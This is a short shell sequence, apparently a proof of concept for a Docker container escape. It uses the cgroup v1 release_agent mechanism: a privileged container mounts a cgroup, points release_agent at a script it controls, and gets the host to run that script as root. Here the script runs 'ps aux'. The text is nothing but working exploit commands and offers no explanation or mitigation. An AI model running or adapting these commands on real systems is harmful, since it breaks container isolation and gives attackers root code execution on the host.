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# On the host  
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash  
  
# In the container  
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x  
  
echo 1 > /tmp/cgrp/x/notify_on_release  
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`  
echo "$host_path/cmd" > /tmp/cgrp/release_agent  
  
echo '#!/bin/sh' > /cmd  
echo "ps aux > $host_path/output" >> /cmd  
chmod a+x /cmd  
  
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"